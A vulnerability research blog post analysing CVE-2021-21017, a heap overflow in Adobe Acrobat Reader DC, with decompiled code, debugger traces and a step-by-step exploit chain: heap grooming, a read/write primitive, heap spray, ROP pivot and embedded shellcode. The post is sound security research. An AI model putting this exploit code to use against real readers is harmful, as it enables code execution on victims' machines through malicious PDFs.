By Sergi Martinez
This post analyzes and exploits CVE-2021-21017, a heap buffer overflow reported in Adobe Acrobat Reader DC prior to versions 2021.001.20135. This vulnerability was anonymously reported to Adobe and patched on February 9th, 2021. A publicly posted proof-of-concept containing root-cause analysis was used as a starting point for this research.
This post is similar to our previous post on Adobe Acrobat Reader, which exploits a use-after-free vulnerability that also occurs while processing Unicode and ANSI strings.
A heap buffer-overflow occurs in the concatenation of an ANSI-encoded string corresponding to a PDF document’s base URL. This occurs when an embedded JavaScript script calls functions located in the IA32.api module that deals with internet access, such as this.submitForm and app.launchURL. When these functions are called with a relative URL of a different encoding to the PDF’s base URL, the relative URL is treated as if it has the same encoding as the PDF’s path. This can result in the copying twice the number of bytes of the source ANSI string (relative URL) into a properly-sized destination buffer, leading to both an out-of-bounds read and a heap buffer overflow.
Acrobat Reader has a built-in JavaScript engine based on Mozilla’s SpiderMonkey. Embedded JavaScript code in PDF files is processed and executed by the EScript.api module in Adobe Reader.
Internet access related operations are handled by the IA32.api module. The vulnerability occurs within this module when a URL is built by concatenating the PDF document’s base URL and a relative URL. This relative URL is specified as a parameter in a call to JavaScript functions that trigger any kind of Internet access such as this.submitForm and app.launchURL. In particular, the vulnerability occurs when the encoding of both strings differ.
The concatenation of both strings is done by allocating enough memory to fit the final string. The computation of the length of both strings is correctly done taking into account whether they are ANSI or Unicode. However, when the concatenation occurs only the base URL encoding is checked and the relative URL is considered to have the same encoding as the base URL. When the relative URL is ANSI encoded, the code that copies bytes from the relative URL string buffer into the allocated buffer copies it two bytes at a time instead of just one byte at a time. This leads to reading a number of bytes equal to the length of the relative URL from outside the source buffer and copying it beyond the bounds of the destination buffer by the same length, resulting in both an out-of-bounds read and an out-of-bounds write vulnerability.
The following code blocks show the affected parts of methods relevant to this vulnerability. Code snippets are demarcated by reference marks denoted by [N]. Lines not relevant to this vulnerability are replaced by a [Truncated] marker.
All code listings show decompiled C code; source code is not available in the affected product. Structure definitions are obtained by reverse engineering and may not accurately reflect structures defined in the source code.
The following function is called when a relative URL needs to be concatenated to a base URL. Aside from the concatenation it also checks that both URLs are valid.
__int16 __cdecl sub_25817D70(wchar_t *Source, CHAR *lpString, char *String, _DWORD *a4, int *a5) { __int16 v5; // di CHAR v6; // cl CHAR *v7; // ecx CHAR v8; // al CHAR v9; // dl CHAR *v10; // eax bool v11; // zf CHAR *v12; // eax [Truncated] int iMaxLength; // [esp+D4h] [ebp-14h] LPCSTR v65; // [esp+D8h] [ebp-10h] int v66; // [esp+DCh] [ebp-Ch] BYREF LPCSTR v67; // [esp+E0h] [ebp-8h] wchar_t *v68; // [esp+E4h] [ebp-4h] v68 = 0; v65 = 0; v67 = 0; v38 = 0; v51 = 0; v63 = 0; v5 = 1; if ( !a5 ) return 0; *a5 = 0; if ( lpString ) { if ( *lpString ) { v6 = lpString[1]; if ( v6 ) { [1] if ( *lpString == (CHAR)0xFE && v6 == (CHAR)0xFF ) { v7 = lpString; while ( 1 ) { v8 = *v7; v9 = v7[1]; v7 += 2; if ( !v8 ) break; if ( !v9 || !v7 ) goto LABEL_14; } if ( !v9 ) goto LABEL_15; [2] LABEL_14: *a5 = -2; return 0; } } } } LABEL_15: if ( !Source || !lpString || !String || !a4 ) { *a5 = -2; goto LABEL_79; } [3] iMaxLength = sub_25802A44((LPCSTR)Source) + 1; v10 = (CHAR *)sub_25802CD5(1, iMaxLength); v65 = v10; if ( !v10 ) { *a5 = -7; return 0; } [4] sub_25802D98((wchar_t *)v10, Source, iMaxLength); if ( *lpString != (CHAR)0xFE || (v11 = lpString[1] == -1, v67 = (LPCSTR)2, !v11) ) v67 = (LPCSTR)1; [5] v66 = (int)&v67[sub_25802A44(lpString)]; v12 = (CHAR *)sub_25802CD5(1, v66); v67 = v12; if ( !v12 ) { *a5 = -7; LABEL_79: v5 = 0; goto LABEL_80; } [6] sub_25802D98((wchar_t *)v12, (wchar_t *)lpString, v66); if ( !(unsigned __int16)sub_258033CD(v65, iMaxLength, a5) || !(unsigned __int16)sub_258033CD(v67, v66, a5) ) goto LABEL_79; [7] v13 = sub_25802400(v65, v31); if ( v13 || (v13 = sub_25802400(v67, v39)) != 0 ) { *a5 = v13; goto LABEL_79; } [Truncated] [8] v23 = (wchar_t *)sub_25802CD5(1, v47 + 1 + v35); v68 = v23; if ( v23 ) { if ( v35 ) { [9] sub_25802D98(v23, v36, v35 + 1); if ( *((_BYTE *)v23 + v35 - 1) != 47 ) { v25 = sub_25818CE4(v24, (char *)v23, 47); if ( v25 ) *(_BYTE *)(v25 + 1) = 0; else *(_BYTE *)v23 = 0; } } if ( v47 ) { [10] v26 = sub_25802A44((LPCSTR)v23); sub_25818BE0((char *)v23, v48, v47 + 1 + v26); } sub_25802E0C(v23, 0); v60 = sub_25802A44((LPCSTR)v23); v61 = v23; goto LABEL_69; } v5 = 0; *a4 = v47 + v35 + 1; *a5 = -3; LABEL_81: if ( v65 ) (*(void (__cdecl **)(LPCSTR))(dword_25824088 + 12))(v65); if ( v67 ) (*(void (__cdecl **)(LPCSTR))(dword_25824088 + 12))(v67); if ( v23 ) (*(void (__cdecl **)(wchar_t *))(dword_25824088 + 12))(v23); return v5; }
The function listed above receives as parameters a string corresponding to a base URL and a string corresponding to a relative URL, as well as two pointers used to return data to the caller. The two string parameters are shown in the following debugger output.
IA32!PlugInMain+0x168b0: 605a7d70 55 push ebp 0:000> dd poi(esp+4) L84 099a35f0 0068fffe 00740074 00730070 002f003a 099a3600 0067002f 006f006f 006c0067 002e0065 099a3610 006f0063 002f006d 41414141 41414141 099a3620 41414141 41414141 41414141 41414141 099a3630 41414141 41414141 41414141 41414141 [Truncated] 099a37c0 41414141 41414141 41414141 41414141 099a37d0 41414141 41414141 41414141 41414141 099a37e0 41414141 41414141 41414141 2f2f3a41 099a37f0 00000000 00680074 00730069 006f002e 0:000> du poi(esp+4) 099a35f0 ".https://google.com/䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁" 099a3630 "䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁" 099a3670 "䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁" 099a36b0 "䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁" 099a36f0 "䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁" 099a3730 "䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁" 099a3770 "䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁" 099a37b0 "䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁䅁㩁." 099a37f0 "" 0:000> dd poi(esp+8) 0b2d30b0 61616262 61616161 61616161 61616161 0b2d30c0 61616161 61616161 61616161 61616161 0b2d30d0 61616161 61616161 61616161 61616161 0b2d30e0 61616161 61616161 61616161 61616161 [Truncated] 0b2d5480 61616161 61616161 61616161 61616161 0b2d5490 61616161 61616161 61616161 61616161 0b2d54a0 61616161 61616161 61616161 00616161 0b2d54b0 4d21fcdc 80000900 41409090 ffff4041 0:000> da poi(esp+8) 0b2d30b0 "bbaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 0b2d30d0 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 0b2d30f0 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 0b2d3110 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" [Truncated] 0b2d5430 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 0b2d5450 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 0b2d5470 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 0b2d5490 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
The debugger output shown above corresponds to an execution of the exploit. It shows the contents of the first and second parameters (esp+4 and esp+8) of the function sub_25817D70. The first parameter contains a Unicode-encoded base URL https://google.com/ (notice the 0xfeff bytes at the start of the string), while the second parameter contains an ASCII string corresponding to the relative URL. Both contain a number of repeated bytes that serve as padding to control the allocation size needed to hold them, which is useful for exploitation.
At [1] a check is made to ascertain whether the second parameter is a valid Unicode string. If an anomaly is found the function returns at [2]. The function sub_25802A44 at [3] computes the length of the string provided as a parameter, regardless of its encoding. The function sub_25802CD5 is an implementation of calloc which allocates an array with the amount of elements provided as the first parameter with size specified as the second parameter. The function sub_25802D98 at [4] copies a number of bytes of the string specified in the second parameter to the buffer pointed by the first parameter. Its third parameter specified the number of bytes to be copied. Therefore, at [3] and [4] the length of the base URL is computed, a new allocation of that size plus one is performed, and the base URL string is copied into the new allocation. In an analogous manner, the same operations are performed on the relative URL at [5] and [6].
The function sub_25802400, called at [7], receives a URL or a part of it and performs some validation and processing. This function is called on both base and relative URLs.
At [8] an allocation of the size required to host the concatenation of the relative URL and the base URL is performed. The lengths provided are calculated in the function called at [7]. For the sake of simplicity it is illustrated with an example: the following debugger output shows the value of the parameters to sub_25802CD5 that correspond to the number of elements to be allocated, and the size of each element. In this case the size is the addition of the length of the base and relative URLs.
eax=00002600 ebx=00000000 ecx=00002400 edx=00000000 esi=010fd228 edi=00000001 eip=61912cd5 esp=010fd0e4 ebp=010fd1dc iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 IA32!PlugInMain+0x1815: 61912cd5 55 push ebp 0:000> dd esp+4 L1 010fd0e8 00000001 0:000> dd esp+8 L1 010fd0ec 00002600
Continuing with the function previously listed, at [9] the base URL is copied into the memory allocated to host the concatenation and at [10] its length is calculated and provided as a parameter to the call to sub_25818BE0. This function implements string concatenation for both Unicode and ANSI strings. The call to this function at [10] provides the base URL as the first parameter, the relative URL as the second parameter and the expected full size of the concatenation as the third. This function is listed below.
int __cdecl sub_25818BE0(char *Destination, char *Source, int a3) { int result; // eax int pExceptionObject; // [esp+10h] [ebp-4h] BYREF if ( !Destination || !Source || !a3 ) { (*(void (__thiscall **)(_DWORD, int))(dword_258240AC + 4))(*(_DWORD *)(dword_258240AC + 4), 1073741827); pExceptionObject = 0; CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI1H); } [11] pExceptionObject = sub_25802A44(Destination); if ( pExceptionObject + sub_25802A44(Source) <= (unsigned int)(a3 - 1) ) { [12] sub_2581894C(Destination, Source); result = 1; } else { [13] strncat(Destination, Source, a3 - pExceptionObject - 1); result = 0; Destination[a3 - 1] = 0; } return result; }
In the above listing, at [11] the length of the destination string is calculated. It then checks if the length of the destination string plus the length of the source string is less or equal than the desired concatenation length minus one. If the check passes, the function sub_2581894C is called at [12]. Otherwise the strncat function at [13] is called.
The function sub_2581894C called at [12] implements the actual string concatenation that works for both Unicode and ANSI strings.
LPSTR __cdecl sub_2581894C(LPSTR lpString1, LPCSTR lpString2) { int v3; // eax LPCSTR v4; // edx CHAR *v5; // ecx CHAR v6; // al CHAR v7; // bl int pExceptionObject; // [esp+10h] [ebp-4h] BYREF if ( !lpString1 || !lpString2 ) { (*(void (__thiscall **)(_DWORD, int))(dword_258240AC + 4))(*(_DWORD *)(dword_258240AC + 4), 1073741827); pExceptionObject = 0; CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI1H); } [14] if ( *lpString1 == (CHAR)0xFE && lpString1[1] == (CHAR)0xFF ) { [15] v3 = sub_25802A44(lpString1); v4 = lpString2 + 2; v5 = &lpString1[v3]; do { do { v6 = *v4; v4 += 2; *v5 = v6; v5 += 2; v7 = *(v4 - 1); *(v5 - 1) = v7; } while ( v6 ); } while ( v7 ); } else { [16] lstrcatA(lpString1, lpString2); } return lpString1; }
In the function listed above, at [14] the first parameter (the destination) is checked for the Unicode BOM marker 0xFEFF. If the destination string is Unicode the code proceeds to [15]. There, the source string is appended at the end of the destination string two bytes at a time. If the destination string is ANSI, then the known lstrcatA function is called.
It becomes clear that in the event that the destination string is Unicode and the source string is ANSI, for each character of the ANSI string two bytes are actually copied. This causes an out-of-bounds read of the size of the ANSI string that becomes a heap buffer overflow of the same size once the bytes are copied.
We’ll now walk through how this vulnerability can be exploited to achieve arbitrary code execution.
Adobe Acrobat Reader DC version 2020.013.20074 running on Windows 10 x64 was used to develop the exploit. Note that Adobe Acrobat Reader DC is a 32-bit application. A successful exploit strategy needs to bypass the following security mitigations on the target:
The exploit does not bypass the following protection mechanisms:
In order to exploit this vulnerability bypassing ASLR and DEP, the following strategy is adopted:
The following sub-sections break down the exploit code with explanations for better understanding.
The size of the strings involved in this vulnerability can be controlled. This is convenient since it allows selecting the right size for each of them so they are handled by the Low Fragmentation Heap. The inner workings of the Low Fragmentation Heap (LFH) can be leveraged to increase the determinism of the memory layout required to exploit this vulnerability. Selecting a size that is not used in the program allows full control to activate the LFH bucket corresponding to it, and perform the exact number of allocations required to fit one UserBlock.
The memory chunks within a UserBlock are returned to the user randomly when an allocation is performed. The ideal layout required to exploit this vulnerability is having free chunks adjacent to controlled chunks, so when the strings required to trigger the vulnerability are allocated they fall in one of those free chunks.
In order to set up such a layout, 0xd+0x11 ArrayBuffers of size 0x2608-0x10-0x8 are allocated. The first 0x11 allocations are used to enable the LFH bucket, and the next 0xd allocations are used to fill a UserBlock (note that the number of chunks in the first UserBlock for that bucket size is not always 0xd, so this technique is not 100% effective). The ArrayBuffer size is selected so the underlying allocation is of size 0x2608 (including the chunk metadata), which corresponds to an LFH bucket not used by the application.
Then, the same procedure is done but allocating strings whose underlying allocation size is 0x2408, instead of allocating ArrayBuffers. The number of allocations to fit a UserBlock for this size can be 0xe.
The strings should contain the bytes required to overwrite the byteLength property of the ArrayBuffer that is corrupted once the vulnerability is triggered. The value that will overwrite the byteLength property is 0xffff. This does not allow leveraging the ArrayBuffer to read and write to the whole range of memory addresses in the process. Also, it is not possible to directly overwrite the byteLength with the value 0xffffffff since it would require overwriting the pointer of its DataView object with a non-zero value, which would corrupt it and break its functionality. Instead, writing only 0xffff allows avoiding overwriting the DataView object pointer, keeping its functionality intact since the leftmost two null bytes would be considered the Unicode string terminator during the concatenation operation.
function massageHeap() { [1] var arrayBuffers = new Array(0xd+0x11); for (var i = 0; i < arrayBuffers.length; i++) { arrayBuffers[i] = new ArrayBuffer(0x2608-0x10-0x8); var dv = new DataView(arrayBuffers[i]); } [2] var holeDistance = (arrayBuffers.length-0x11) / 2 - 1; for (var i = 0x11; i <= arrayBuffers.length; i += holeDistance) { arrayBuffers[i] = null; } [3] var strings = new Array(0xe+0x11); var str = unescape('%u9090%u4140%u4041%uFFFF%u0000') + unescape('%0000%u0000') + unescape('%u9090%u9090').repeat(0x2408); for (var i = 0; i < strings.length; i++) { strings[i] = str.substring(0, (0x2408-0x8)/2 - 2).toUpperCase(); } [4] var holeDistance = (strings.length-0x11) / 2 - 1; for (var i = 0x11; i <= strings.length; i += holeDistance) { strings[i] = null; } return arrayBuffers; }
In the listing above, the ArrayBuffer allocations are created in [1]. Then in [2] two pointers to the created allocations are nullified in order to attempt to create free chunks surrounded by controlled chunks.
At [3] and [4] the same steps are done with the allocated strings.
Triggering the vulnerability is as easy as calling the app.launchURL JavaScript function. Internally, the relative URL provided as a parameter is concatenated to the base URL defined in the PDF document catalog, thus executing the vulnerable function explained in the *Code Analysis* section of this document.
function triggerHeapOverflow() { try { app.launchURL('bb' + 'a'.repeat(0x2608 - 2 - 0x200 - 1 -0x8)); } catch(err) {} }
The size of the allocation holding the relative URL string must be the same as the one used when preparing the heap layout so it occupies one of the freed spots, and ideally having a controlled allocation adjacent to it.
When the proper heap layout is successfully achieved and the vulnerability has been triggered, an ArrayBuffer byteLength property would be corrupted with the value 0xffff. This allows writing past the boundaries of the underlying memory allocation and overwriting the byteLength property of the next ArrayBuffer. Finally, creating a DataView object on this last corrupted buffer allows to read and write to the whole memory address range of the process in a relative manner.
In order to be able to read from and write to absolute addresses the memory address of the corrupted ArrayBuffer must be obtained. One way of doing it is to leverage the NT Heap metadata structures to leak a pointer to the same structure. It is relevant that the chunk header contains the chunk number and that all the chunks in a UserBlock are consecutive and adjacent. In addition, the size of the chunks are known, so it is possible to compute the distance from the origin of the relative read and write primitive to the pointer to leak. In an analogous manner, since the distance is known, once the pointer is leaked the distance can be subtracted from it to obtain the address of the origin of the read and write primitive.
The following function implements the process described in this subsection.
function getArbitraryRW(arrayBuffers) { [1] for (var i = 0; i < arrayBuffers.length; i++) { if (arrayBuffers[i] != null && arrayBuffers[i].byteLength == 0xffff) { var dv = new DataView(arrayBuffers[i]); dv.setUint32(0x25f0+0xc, 0xffffffff, true); } } [2] for (var i = 0; i < arrayBuffers.length; i++) { if (arrayBuffers[i] != null && arrayBuffers[i].byteLength == -1) { var rw = new DataView(arrayBuffers[i]); corruptedBuffer = arrayBuffers[i]; } } [3] if (rw) { var chunkNumber = rw.getUint8(0xffffffff+0x1-0x13, true); var chunkSize = 0x25f0+0x10+8; var distanceToBitmapBuffer = (chunkSize * chunkNumber) + 0x18 + 8; var bitmapBufferPtr = rw.getUint32(0xffffffff+0x1-distanceToBitmapBuffer, true); startAddr = bitmapBufferPtr + distanceToBitmapBuffer-4; return rw; } return rw; }
The function above at [1] tries to locate the initial corrupted ArrayBuffer and leverages it to corrupt the adjacent ArrayBuffer. At [2] it tries to locate the recently corrupted ArrayBuffer and build the relative arbitrary read and write primitive by creating a DataView object on it. Finally, at [3] the aforementioned method of obtaining the absolute address of the origin of the relative read and write primitive is implemented.
Once the origin address of the read and write primitive is known it is possible to use the following helper functions to read and write to any address of the process that has mapped memory.
function readUint32(dataView, absoluteAddress) { var addrOffset = absoluteAddress - startAddr; if (addrOffset < 0) { addrOffset = addrOffset + 0xffffffff + 1; } return dataView.getUint32(addrOffset, true); } function writeUint32(dataView, absoluteAddress, data) { var addrOffset = absoluteAddress - startAddr; if (addrOffset < 0) { addrOffset = addrOffset + 0xffffffff + 1; } dataView.setUint32(addrOffset, data, true); }
The heap spray technique performs a large number of controlled allocations with the intention of having adjacent regions of controllable memory. The key to obtaining adjacent memory regions is to make the allocations of a specific size.
In JavaScript, a convenient way of making allocations in the heap whose content is completely controlled is by using ArrayBuffer objects. The memory allocated with these objects can be read from and written to with the use of DataView objects.
In order to get the heap allocation of the right size the metadata of ArrayBuffer objects and heap chunks have to be taken into consideration. The internal representation of ArrayBuffer objects tells that the size of the metadata is 0x10 bytes. The size of the metadata of a busy heap chunk is 8 bytes.
Since the objective is to have adjacent memory regions filled with controlled data, the allocations performed must have the exact same size as the heap segment size, which is 0x10000 bytes. Therefore, the ArrayBuffer objects created during the heap spray must be of 0xffe8 bytes.
function sprayHeap() { var heapSegmentSize = 0x10000; [1] heapSpray = new Array(0x8000); for (var i = 0; i < 0x8000; i++) { heapSpray[i] = new ArrayBuffer(heapSegmentSize-0x10-0x8); var tmpDv = new DataView(heapSpray[i]); tmpDv.setUint32(0, 0xdeadbabe, true); } }
The exploit function listed above performs the ArrayBuffer spray. The total size of the spray defined in [1] was determined by setting a number high enough so an ArrayBuffer would be allocated at the selected predictable address defined by the stack pivot ROP gadget used.
These purpose of these allocations is to have a controllable memory region at the address were the stack is relocated after the execution of the stack pivoting. This area can be used to prepare the call to VirtualProtect to enable execution permissions on the memory page were the shellcode is written.
With the ability to arbitrarily read and write memory, the next steps are preparing the shellcode, writing it, and executing it. The security mitigations present in the application determine the strategy and techniques required. ASLR and DEP force using Return Oriented Programming (ROP) combined with leaked pointers to the relevant modules.
Taking this into account, the strategy can be the following:
The following functions are used in the implementation of the mentioned strategy.
[1] function getAddressLeaks(rw) { var dataViewObjPtr = rw.getUint32(0xffffffff+0x1-0x8, true); var escriptAddrDelta = 0x275518; var escriptAddr = readUint32(rw, dataViewObjPtr+0xc) - escriptAddrDelta; var kernel32BaseDelta = 0x273eb8; var kernel32Addr = readUint32(rw, escriptAddr + kernel32BaseDelta); return [escriptAddr, kernel32Addr]; } [2] function prepareNewStack(kernel32Addr) { var virtualProtectStubDelta = 0x20420; writeUint32(rw, newStackAddr, kernel32Addr + virtualProtectStubDelta); var shellcode = [0x0082e8fc, 0x89600000, 0x64c031e5, 0x8b30508b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0x3cacff31, 0x2c027c61, 0x0dcfc120, 0xf2e2c701, 0x528b5752, 0x3c4a8b10, 0x78114c8b, 0xd10148e3, 0x20598b51, 0x498bd301, 0x493ae318, 0x018b348b, 0xacff31d6, 0x010dcfc1, 0x75e038c7, 0xf87d03f6, 0x75247d3b, 0x588b58e4, 0x66d30124, 0x8b4b0c8b, 0xd3011c58, 0x018b048b, 0x244489d0, 0x615b5b24, 0xff515a59, 0x5a5f5fe0, 0x8deb128b, 0x8d016a5d, 0x0000b285, 0x31685000, 0xff876f8b, 0xb5f0bbd5, 0xa66856a2, 0xff9dbd95, 0x7c063cd5, 0xe0fb800a, 0x47bb0575, 0x6a6f7213, 0xd5ff5300, 0x636c6163, 0x6578652e, 0x00000000] [3] var shellcode_size = shellcode.length * 4; writeUint32(rw, newStackAddr + 4 , startAddr); writeUint32(rw, newStackAddr + 8, startAddr); writeUint32(rw, newStackAddr + 0xc, shellcode_size); writeUint32(rw, newStackAddr + 0x10, 0x40); writeUint32(rw, newStackAddr + 0x14, startAddr + shellcode_size); [4] for (var i = 0; i < shellcode.length; i++) { writeUint32(rw, startAddr+i*4, shellcode[i]); } } function hijackEIP(rw, escriptAddr) { var dataViewObjPtr = rw.getUint32(0xffffffff+0x1-0x8, true); var dvShape = readUint32(rw, dataViewObjPtr); var dvShapeBase = readUint32(rw, dvShape); var dvShapeBaseClasp = readUint32(rw, dvShapeBase); var stackPivotGadgetAddr = 0x2de29 + escriptAddr; writeUint32(rw, dvShapeBaseClasp+0x10, stackPivotGadgetAddr); var foo = rw.execFlowHijack; }
In the code listing above, the function at [1] obtains the base addresses of the EScript.api and kernel32.dll modules, which are the ones required to exploit the vulnerability with the current strategy. The function at [2] is used to prepare the contents of the relocated stack, so that once the stack pivot is executed everything is ready. In particular, at [3] the address to the shellcode and the parameters to VirtualProtect are written. The address to the shellcode corresponds to the return address that the ret instruction of the VirtualProtect will restore, redirecting this way the execution flow to the shellcode. The shellcode is written at [4].
Finally, at [5] the getProperty function pointer of a DataView object under control is overwritten with the address of the ROP gadget used to pivot the stack, and a property of the object is accessed which triggers the execution of getProperty.
The stack pivot gadget used is from the EScript.api module, and is listed below:
0x2382de29: mov esp, 0x5d0013c2; ret;
When the instructions listed above are executed, the stack will be relocated to 0x5d0013c2 where the previously prepared allocation would be.
We hope you enjoyed reading this analysis of a heap buffer-overflow and learned something new. If you’re hungry for more, go and checkout our other blog posts!